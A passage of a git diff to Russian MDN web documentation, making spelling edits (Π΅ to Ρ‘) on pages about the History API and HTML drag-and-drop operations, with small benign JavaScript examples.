+ <dd>ΠŸΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π² стСк истории сСссии с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ ΠΈ, ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ , URL. Π”Π°Π½Π½Ρ‹Π΅ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ DOM ΠΊΠ°ΠΊ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹Π΅; Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ любой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сСриализован. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π² настоящСС врСмя Firefox ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°; для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ см.<a href="/en/DOM/Manipulating_the_browser_history"> ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ историСй Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</a>.
<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π’ Gecko 2.0 {{ geckoRelease("2.0") }} Π΄ΠΎ Gecko 5.0 {{ geckoRelease("5.0") }}, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ сСриарилизовался Π² JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ обрабатываСтся ΠΏΠΎ <a href="https://developer.mozilla.org/ru/docs/Web/API/Web_Workers_API/Structured_clone_algorithm" title="Алгоритм структурированного клонирования">Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡƒ структурированного клонирования</a>. Он позволяСт ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΡˆΠΈΡ€ΠΎΠΊΠΎΠ΅ Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</div>
</dd>
</dl>
<dl>
<dt>{{domxref("History.replaceState()")}} {{ gecko_minversion_inline("2.0") }}</dt>
- <dd>ΠžΠ±Π½ΠΎΠ²Π»ΡΠ΅Ρ‚ послСднюю запись Π² стСкС истории содСрТащий ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ, ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ, URL. Π”Π°Π½Π½Ρ‹Π΅ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ DOM ΠΊΠ°ΠΊ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹Π΅; Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ любой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сСриализован. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π² настоящСС врСмя Firefox ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°; для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ см.<a href="/en/DOM/Manipulating_the_browser_history"> ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ историСй Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</a>.
+ <dd>ΠžΠ±Π½ΠΎΠ²Π»ΡΠ΅Ρ‚ послСднюю запись Π² стСкС истории содСрТащий ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ, ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ, URL. Π”Π°Π½Π½Ρ‹Π΅ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ DOM ΠΊΠ°ΠΊ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹Π΅; Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ любой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сСриализован. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π² настоящСС врСмя Firefox ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°; для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ см.<a href="/en/DOM/Manipulating_the_browser_history"> ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ историСй Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</a>.
<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π’ Gecko 2.0 {{ geckoRelease("2.0") }} Π΄ΠΎ Gecko 5.0 {{ geckoRelease("5.0") }}, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ сСриарилизовался Π² JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ обрабатываСтся ΠΏΠΎ <a href="https://developer.mozilla.org/ru/docs/Web/API/Web_Workers_API/Structured_clone_algorithm" title="Алгоритм структурированного клонирования">Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡƒ структурированного клонирования</a>. Он позволяСт ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΡˆΠΈΡ€ΠΎΠΊΠΎΠ΅ Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</div>
</dd>
</dl>
diff --git a/files/ru/web/api/history/state/index.html b/files/ru/web/api/history/state/index.html
index 3faaa8676a..82b65cd3f7 100644
--- a/files/ru/web/api/history/state/index.html
+++ b/files/ru/web/api/history/state/index.html
@@ -15,11 +15,11 @@ translation_of: Web/API/History/state
<h3 id="Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>ПослСднСС состояниС стСка истории. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ {{jsxref("null")}} Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("History.pushState","pushState()")}} ΠΈΠ»ΠΈ {{domxref("History.replaceState","replaceState()")}}.</p>
+<p>ПослСднСС состояниС стСка истории. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ {{jsxref("null")}} Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄Β {{domxref("History.pushState","pushState()")}} ΠΈΠ»ΠΈ {{domxref("History.replaceState","replaceState()")}}.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>Код, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅, Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π² консоль Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>history.state</code>Β Π΄ΠΎ ΠΈ послС примСнСния мСтода {{domxref("History.pushState","pushState()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ записываСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ.</p>
+<p>Код, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅, Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π² консоль Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>history.state</code>Β Π΄ΠΎ ΠΈ послС примСнСния мСтода {{domxref("History.pushState","pushState()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ записываСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ.</p>
<pre class="brush: js notranslate">// Π’Ρ‹Π²Π΅Π΄Π΅Ρ‚ null ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΏΠΎΠΊΠ° Π½Π΅ измСняли стСк истории
console.log(`History.state before pushState: ${history.state}`);
diff --git a/files/ru/web/api/history_api/index.html b/files/ru/web/api/history_api/index.html
index 2238486e34..e629e51ae1 100644
--- a/files/ru/web/api/history_api/index.html
+++ b/files/ru/web/api/history_api/index.html
@@ -23,7 +23,7 @@ translation_of: Web/API/History_API
</pre>
<p>Π”Π°Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄Β Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚Π°ΠΊ, Π±ΡƒΠ΄Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠ°Π» Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ "Назад" Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.<br>
- ΠŸΠΎΡ…ΠΎΠΆΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌΒ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡΒ Π²ΠΏΠ΅Ρ€Π΅Π΄ (ΠΊΠ°ΠΊ Ссли Π±Ρ‹Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠ°Π» Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ "Π’ΠΏΠ΅Ρ€Π΅Π΄"):</p>
+ ΠŸΠΎΡ…ΠΎΠΆΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌΒ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡΒ Π²ΠΏΠ΅Ρ€Ρ‘Π΄ (ΠΊΠ°ΠΊ Ссли Π±Ρ‹Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠ°Π» Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ "Π’ΠΏΠ΅Ρ€Ρ‘Π΄"):</p>
<pre class="brush: js notranslate">window.history.forward();
</pre>
@@ -42,7 +42,7 @@ translation_of: Web/API/History_API
<pre class="brush: js notranslate">window.history.go(1);
</pre>
-<p>По Ρ‚Π°ΠΊΠΎΠΌΡƒ ΠΆΠ΅ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡƒ, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ Π²ΠΏΠ΅Ρ€Π΅Π΄ Π½Π°Β 2 страницы, пСрСдавая Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>2</code>, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
+<p>По Ρ‚Π°ΠΊΠΎΠΌΡƒ ΠΆΠ΅ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡƒ, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ Π²ΠΏΠ΅Ρ€Ρ‘Π΄ Π½Π°Β 2 страницы, пСрСдавая Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>2</code>, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>go()</code>Β ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для обновлСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницы, пСрСдавая Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>0</code>Β ΠΈΠ»ΠΈ вызывая Π΅Π³ΠΎ Π±Π΅Π· Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²:</p>
diff --git a/files/ru/web/api/history_api/working_with_the_history_api/index.html b/files/ru/web/api/history_api/working_with_the_history_api/index.html
index b577f135f2..46f6fbafd9 100644
--- a/files/ru/web/api/history_api/working_with_the_history_api/index.html
+++ b/files/ru/web/api/history_api/working_with_the_history_api/index.html
@@ -24,7 +24,7 @@ history.pushState(stateObj, "page 2", "bar.html")
<p>Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ этого Π² URL-строкС отобразится адрСс <code>http://mozilla.org/bar.html</code>, Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ страницу <code>bar.html</code> ΠΈ Π΄Π°ΠΆΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ, сущСствуСт Π»ΠΈ ΠΎΠ½Π°..</p>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠ΅Ρ€Π΅ΡˆΠ΅Π» ΠΏΠΎ адрСсу <code>http://google.com</code> ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π½Π°ΠΆΠ°Π» Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ "<strong>Назад</strong>". Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ этого Π² URL Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ <code>http://mozilla.org/bar.html</code>, Π° <code>history.state</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ <code>stateObj</code>. Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ popstate Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ страница Π±Ρ‹Π»Π° ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π°. Π‘Π°ΠΌΠ° страница Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ <code>bar.html</code>.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠ΅Ρ€Π΅ΡˆΡ‘Π» ΠΏΠΎ адрСсу <code>http://google.com</code> ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π½Π°ΠΆΠ°Π» Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ "<strong>Назад</strong>". Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ этого Π² URL Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ <code>http://mozilla.org/bar.html</code>, Π° <code>history.state</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ <code>stateObj</code>. Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ popstate Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ страница Π±Ρ‹Π»Π° ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π°. Π‘Π°ΠΌΠ° страница Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ <code>bar.html</code>.</p>
<p>Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΅Ρ‰Ρ‘ Ρ€Π°Π· Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ <strong>"Назад"</strong>, URL измСнится Π½Π°Β <code>http://mozilla.org/foo.html</code>,Β Π° Π²Β Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ снова ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ событиС <code>popstate</code>, Π½Π° этот Ρ€Π°Π· с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ состояния, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>null</code>. Π’ этом случаС возврат Π½Π°Π·Π°Π΄ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ мСняСт содСрТимоС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΊΠ°ΠΊ ΠΈ Π½Π° ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ шагС, хотя Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ сам ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ своё содСрТимоС послС получСния события <code>popstate</code>.</p>
diff --git a/files/ru/web/api/html_drag_and_drop_api/drag_operations/index.html b/files/ru/web/api/html_drag_and_drop_api/drag_operations/index.html
index 0ebd022362..24931b8d5b 100644
--- a/files/ru/web/api/html_drag_and_drop_api/drag_operations/index.html
+++ b/files/ru/web/api/html_drag_and_drop_api/drag_operations/index.html
@@ -31,12 +31,12 @@ original_slug: Web/Guide/HTML/Drag_and_drop/Drag_operations
&lt;/p&gt;
</pre>
-<p>Атрибут <code>{{htmlattrxref("draggable")}}</code> установлСн Π²Β  <code>"true"</code>, Ρ‚.ΠΎ. этот элСмСнт становится пСрСтаскиваСмым. Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π±Ρ‹Π» ΠΎΠΏΡƒΡ‰Π΅Π½ ΠΈΠ»ΠΈ установлСн Π² <code>"false"</code>, Ρ‚ΠΎ элСмСнт Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ пСрСнСсСн, ΠΈ вмСсто этого Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½ тСкст.</p>
+<p>Атрибут <code>{{htmlattrxref("draggable")}}</code> установлСн Π²Β  <code>"true"</code>, Ρ‚.ΠΎ. этот элСмСнт становится пСрСтаскиваСмым. Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π±Ρ‹Π» ΠΎΠΏΡƒΡ‰Π΅Π½ ΠΈΠ»ΠΈ установлСн Π² <code>"false"</code>, Ρ‚ΠΎ элСмСнт Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ пСрСнСсён, ΠΈ вмСсто этого Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½ тСкст.</p>
<p>Атрибут <code>{{htmlattrxref("draggable")}}</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для любого элСмСнта, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ изобраТСния ΠΈ ссылки. Однако, для послСдних Π΄Π²ΡƒΡ…, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ - <code>true</code>, Ρ‚.ΠΎ. Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β  <code>{{htmlattrxref("draggable")}}</code> со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>false</code> для ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ пСрСтаскивания этих элСмСнтов.</p>
<div class="blockIndicator note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Когда элСмСнт становится пСрСтаскиваСмыми, тСкст ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты Π² Π½Π΅ΠΌ большС Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌ способом, щСлкая ΠΈ пСрСтаскивая ΠΌΡ‹ΡˆΡŒΡŽ. ВмСсто этого ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡƒΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ <kbd>Alt</kbd> Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ тСкст с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΡ‹ΡˆΠΈ ΠΈΠ»ΠΈ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Когда элСмСнт становится пСрСтаскиваСмыми, тСкст ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты Π² Π½Π΅ΠΌ большС Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΌ способом, щёлкая ΠΈ пСрСтаскивая ΠΌΡ‹ΡˆΡŒΡŽ. ВмСсто этого ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡƒΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ <kbd>Alt</kbd> Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ тСкст с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΡ‹ΡˆΠΈ ΠΈΠ»ΠΈ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹.</p>
</div>
<h2 id="dragstart" name="dragstart">Начало ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ пСрСтаскивания</h2>
@@ -81,7 +81,7 @@ dt.setData("text/uri-list", "https://www.mozilla.org");
dt.setData("text/plain", "https://www.mozilla.org");
</pre>
-<p>Π”ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ Π΄Π°Π½Π½Ρ‹Π΅ Ρ‚Ρ€Π΅Ρ… Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ². ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ Ρ‚ΠΈΠΏ - <code>application/x.bookmark</code>, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Ρ‚ΠΈΠΏ.Π”Ρ€ΡƒΠ³ΠΈΠ΅ прилоТСния Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Π΄Π°Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ, Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Ρ‚ΠΈΠΏ для пСрСтаскивания ΠΌΠ΅ΠΆΠ΄Ρƒ областями Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ 